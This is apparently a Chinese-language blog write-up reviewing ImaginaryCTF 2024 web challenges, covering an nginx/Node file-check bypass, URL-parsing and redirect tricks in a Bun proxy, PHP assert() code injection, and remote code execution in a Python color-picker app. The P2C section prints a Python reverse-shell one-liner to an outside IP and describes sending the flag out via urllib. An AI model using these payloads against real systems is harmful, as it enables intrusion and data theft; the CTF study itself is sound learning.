2024ImaginaryCtf-WEB复盘
2024ImaginaryCtf-WEB复盘
Wells靶场链接:https://2024.imaginaryctf.org/
官方WP指路:https://github.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/tree/main/Web
readme
(100 pts) - 978 solves by maple3142
Description
Try to read the
flag.txt
file.附件:点击下载附件
先看dockerfile(虽然flag在这边露出来了),这是个node后端+nginx的配置
1 | FROM node:20-bookworm-slim |
可以知道flag放置在/app/public
文件夹下,然后几个比较关键的文件
default.conf
1 | server { |
/src/app.js
1 | const express = require('express') |
所以这道题目很明显的目的就是要绕过nginx的文件检测if (-f $request_filename)
,但要在node的这个web程序中能被读取
一通乱尝试
原理分析
readme2
(249 pts) - 56 solves by maple3142
Description
Try to read the
flag.txt
file, again!附件:点击下载附件
ok这题不是自己想出来的,以后一定好好看官方文档,原文指路:readme2 | siunam’s Website
附件里的内容很简单,从dockerfile可以知道是使用bun.js起的后端服务
什么是bun?Bun — A fast all-in-one JavaScript runtime
app.js
1 | const flag = process.env.FLAG || 'ictf{this_is_a_fake_flag}' |
读app.js
可以知道后端起了两个服务,对外开放的是4000
端口,很明显想要拿到flag,最终需要通过4000
端口,访问到3000
端口,且url开头以flag.txt
。
思路一: 利用host
最开始尝试想能不能利用请求头host
,并通过/..
最终绕过检测,发现
特性1: 自动处理/..
穿梭至上一级url处
传入
会发现双/test
消失,原因为第1次传入后,url由于有..
所以,所以第一次的url的pathname部分只剩下/
,如下图
特性2: url属性是请求包host+get参数的结果
最终传入3000端口的url的pathname变成了/test/test
原因:通过代码最后一段可以发现
1
2
3
4
5 return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), {
method: req.method,
headers: req.headers,
body: req.body
})host被原样传入,由于
1
2 const url = new URL(req.url)
new URL(url.pathname + url.search, 'http://localhost:3000/')但此时url的pathname处以及有了一个
/test
所以最后pathname出现双/test
特性3:通过拼接的url会自动省略 \t
(tab键)
发送的请求包如下
在传入后获得的url为
发现\t
被自动忽略了
由于在对于/..
的处理是在程序运行前,所以可以进行搭配
分析一波
第一次传入后,url为
localhost:8100/flag.txt/..
(\t
被自动省略),此时还会自动处理/..
,所以第一次的url为localhost:8100/
,host中的\t
不会被自动忽略,所以第一次检测的所有部分都不含有flag
,且通过req.url
出的url也不含flag
1
2
3
4
5 if (req.url.includes('flag')) return new Response('Nope', { status: 403 })
const headerContainsFlag = [...req.headers.entries()].some(([k, v]) => k.includes('flag') || v.includes('flag'))
if (headerContainsFlag) return new Response('Nope', { status: 403 })
const url = new URL(req.url)
if (url.href.includes('flag')) return new Response('Nope', { status: 403 })但由于
1
2
3
4
5 return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), {
method: req.method,
headers: req.headers,
body: req.body
})此时host会原封不动的传给
3000端口
,此时url变为http://localhost:3000/flag.txt/
,满足获得flag的条件
即可获得flag
思路二: 利用URL api
这里实际可以利用的地方就是调用的URL api
(文档指路:URL - Web API | MDN (mozilla.org)),破坏原本的url,将http://localhost:3000/
修改为自定义的网址,发现fetch()
是会跟随重定向的,再利用302重定向至http://localhost:3000/flag.txt
起一个简单的重定向服务
1 |
|
用法一:
这里有个比较特殊的用法就是
1 | new URL("//foo.com", "https://example.com"); |
即我们最终在
1 | return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), { |
url.pathname
要以//
开头,尝试直接以//
传入,发现是可行的
用法二:
1 | new URL("http://www.example.com", "https://developer.mozilla.org"); |
使用这种方法,需要绕过http的固定格式
1 | GET /urlpart HTTP/1.1 |
不能出现/
,而且服务端不能报错,在discord上找到了这种方法
具体原理的话,需要看bun框架对url参数的处理方式
即最后的请求包为
可以看到url的pathname部分并没有/
开头
journal-dist
(100 pts) - 518 solves by Eth007
Description
dear diary, there is no LFI in this app
附件:点击下载附件
源码比较短
1 | if (isset($_GET['file'])) { |
能导致漏洞的就是assert("strpos('$file', '..') === false")
,由于采用字符串凭借,所以assert()函数(官方文档指路:PHP: assert - Manual)中执行的代码基本上是可控的
1 | root@2419de65327b:/var/www/html# php -v |
经过测试发现,在此版本中确实被php代码执行,但由于strpos()
有返回值了,所以需要在strpos()
中进行拼接,最后playload
P2C
(100 pts) - 247 solves by FIREPONY57
Description
Welcome to Python 2 Color, the world’s best color picker from python code!
附件:点击下载附件
重点就是这个函数
1 | def xec(code): |
简单来说就是根据输入的code,最后生成一个,如下格式的py
文件
1 | def main(): |
rgb_parse()
函数定义中parse.py
1 | def rgb_parse(inp=""): |
思路一: 反弹Shell
1 | res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1) |
最开始看到timeout=0.1
还以为python与php一样,执行子进程的时间算作整体时间,0.1秒反弹出shell好像并没有啥用,实际上是可以反弹出shell,timeout=0.1
对反弹shell并没有影响
去hacktools里生成一个python的反弹shell语句
1 | python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("1.1.1.1",8077));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' |
贴上去
虽然页面会报500错误
成功反弹到shell
思路二: 利用urllib
库
这个思路就是直接读取文件,然后因为系统命令行中没有curl命令使用,且没有requests
库,但可以依靠原生的urllib
库,将flag外带出来
虽然也500,但最终也是拿到了flag
思路三: 利用random.seed
这种是官方的WP中的解法,这里讲一下思路
random库在设置seed后,random.randint()
范围确定时,生成的值为固定的
1 | import random |
且函数中rgb_parse(inp="")
的inp
值为可控的,我们需要将其固定,此时我们可以控制random.seed()
的值,每个不同值通过rgb_parse()
,此时return的值不再是变化的而是一个固定的值
将random.seed()
的值为flag字符的中的逐个字符,这样变量只有flag的每个字符,在本地根据return的rgb算法跑一边彩虹表,也就是官方题解中的
1 | lookup = {rgb_parse(i, "aaa"):i for i in range(256)} |
最终每个rgb根据彩虹表的映射关系,还原为原本的字符